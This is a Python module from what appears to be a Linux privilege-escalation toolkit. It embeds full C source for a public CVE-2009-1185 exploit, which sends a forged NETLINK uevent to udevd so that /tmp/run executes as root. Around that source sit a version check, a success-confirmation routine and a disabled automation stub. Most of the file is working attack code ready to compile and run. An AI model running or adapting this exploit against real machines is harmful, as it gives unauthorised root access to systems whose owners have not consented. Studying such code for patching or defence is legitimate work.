"""
adapted from:
https://www.exploit-db.com/exploits/8572/
"""
import os
import uuid
import subprocess
from exploits.exploit import LinuxExploit
from src.kernels import KernelWindow
from constants import *


class CVE20091185(LinuxExploit):
	def __init__(self, playground_path=PLAYGROUND_PATH):
		LinuxExploit.__init__(self)
		self.name = "CVE20091185"
		self.formatted_name = "CVE-2009-1185"
		self.e_type = "linux"
		self.brief_desc = "udev before 1.4.1 NETLINK user space priv esc"
		self.reliability = MEDIUM_RELIABILITY
		self.vulnerable_base = KernelWindow(GENERIC_LINUX, BASE_VULNERABLE, 0, 0, 0, 2, 6, 27)
		self.vulnerable_kernels = [
			KernelWindow(GENERIC_LINUX, BASE_VULNERABLE, 0, 0, 0, 2, 6, 27),
		]
		self.exploit_kernels = [

		]
		self.playground_path = playground_path
		self.exploit_source_file_name = "{}.c".format(self.name)
		self.source_c_path = os.path.join(self.playground_path, self.exploit_source_file_name)
		self.compilation_path = os.path.join(self.playground_path, self.name)
		self.compilation_command = "gcc -o {} {}".format(self.compilation_path, self.source_c_path)
		self.exploit_command = self.compilation_path
		self.exploit_source = """
/*
 * cve-2009-1185.c
 *
 * udev < 141 Local Privilege Escalation Exploit
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185
 *
 *   udev before 1.4.1 does not verify whether a NETLINK message originates
 *   from kernel space, which allows local users to gain privileges by sending
 *   a NETLINK message from user space.
 *
 * Notes:
 *
 *   An alternate version of kcope's exploit.  This exploit leverages the
 *   95-udev-late.rules functionality that is meant to run arbitrary commands
 *   when a device is removed.  A bit cleaner and reliable as long as your
 *   distro ships that rule file.
 *
 *   Tested on Gentoo, Intrepid, and Jaunty.
 *
 * Usage:
 *
 *   Pass the PID of the udevd netlink socket (listed in /proc/net/netlink,
 *   usually is the udevd PID minus 1) as argv[1].
 *
 *   The exploit will execute /tmp/run as root so throw whatever payload you
 *   want in there.
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif

int
main(int argc, char **argv)
{
	int sock;
	char *mp, *err;
	char message[4096];
	struct stat st;
	struct msghdr msg;
	struct iovec iovector;
	struct sockaddr_nl address;

	if (argc < 2) {
		err = "Pass the udevd netlink PID as an argument";
		printf("[-] Error: %s\\n", err);
		exit(1);
	}

	if ((stat("/etc/udev/rules.d/95-udev-late.rules", &st) == -1) &&
	    (stat("/lib/udev/rules.d/95-udev-late.rules", &st) == -1)) {
		err = "Required 95-udev-late.rules not found";
		printf("[-] Error: %s\\n", err);
		exit(1);
	}

	if (stat("/tmp/run", &st) == -1) {
		err = "/tmp/run does not exist, please create it";
		printf("[-] Error: %s\\n", err);
		exit(1);
	}
	system("chmod +x /tmp/run");

	memset(&address, 0, sizeof(address));
	address.nl_family = AF_NETLINK;
	address.nl_pid = atoi(argv[1]);
	address.nl_groups = 0;

	msg.msg_name = (void*)&address;
	msg.msg_namelen = sizeof(address);
	msg.msg_iov = &iovector;
	msg.msg_iovlen = 1;

	sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
	bind(sock, (struct sockaddr *) &address, sizeof(address));

	mp = message;
	mp += sprintf(mp, "remove@/d") + 1;
	mp += sprintf(mp, "SUBSYSTEM=block") + 1;
	mp += sprintf(mp, "DEVPATH=/dev/foo") + 1;
	mp += sprintf(mp, "TIMEOUT=10") + 1;
	mp += sprintf(mp, "ACTION=remove") +1;
	mp += sprintf(mp, "REMOVE_CMD=/tmp/run") +1;

	iovector.iov_base = (void*)message;
	iovector.iov_len = (int)(mp-message);

	sendmsg(sock, &msg, 0);

	close(sock);

	return 0;
}

// milw0rm.com [2009-04-30]
"""

	def determine_vulnerability(self):
		"""
		For this vulnerability the following prerequisites have to be satisfied:
			- udevd version must be < 1.4.1

		:return: True if vulnerable, False if not
		"""
		color_print("\t[*] checking exploitation prerequisites for {}".format(self.name), color="blue")
		command_result = self.shell_results(["udevd", "--version"])
		udev_v = command_result[1].decode('utf-8').replace("\n", "").replace("--version: ", "")

		if "not found" in udev_v:
			self.exploit_failure("not vulnerable: ({})".format(udev_v))
			return False
		elif int(udev_v) < 141:
			color_print("\t[*] udev version: {}".format(udev_v))
			color_print("\t[+] system appears to be vulnerable to {}".format(self.name), color="green")
			return True

	def confirm_exploitation(self, nonce_to_confirm):
		"""
		confirm_exploitation

		Checks to see if the nonce was written to /tmp/nonce by the exploit
		:return: True or False
		"""
		command_result = self.shell_results(["cat", "/tmp/nonce"])
		call_result = command_result[0].decode('utf-8')

		if call_result == nonce_to_confirm:
			return True

		return False

	def parse_udevd_netlink_socket_from_grep(self, grep_results):
		for rline in grep_results:
			if "/udevd" in rline:
				return int(rline.split("\t")[1])
		return 0

	def exploit(self):
		self.exploit_failure("requires manual exploitation. check source")
		"""
		color_print("\t[*] attempting to exploit {}".format(self.name), bold=True)
		vuln = self.determine_vulnerability()
		if vuln:
			color_print("\t[*] compiling: \'{}\'".format(" ".join(self.compilation_command)))
			return_code = subprocess.call(self.compilation_command)
			if return_code == 0 and os.path.exists(self.compilation_path): # TODO: complete command setup (find proc numb...etc)
				color_print("\t[*] setting up /tmp/run for execution ...")
				root_nonce = uuid.uuid4().hex
				# write tmp_run to /tmp/run
				with open("/tmp/run", 'w') as run_file:
					run_file.write(tmp_run)

				color_print("\t[*] identifying udevd netlink socket PID ...")
				call_result = self.shell_results(["ps", "aux" "|" "grep" "udevd"])[0].decode('utf-8').split("\n")
				socket_pid = self.parse_udevd_netlink_socket_from_grep(call_result)
				if socket_pid == 0:
					self.exploit_failure("could not get udevd netlink socket PID")
				else:
					color_print("\t[*] running compiled exploit with necessary args")
					subprocess.call(self.exploit_command)
					if self.confirm_exploitation(root_nonce):
						color_print("\t[+] exploitation of CVE20091185 successful!", color="green", bold=True)
					else:
						self.exploit_failure("no exploitation output")
		else:
			self.exploit_failure("not vulnerable to CVE20091185")
			
		"""
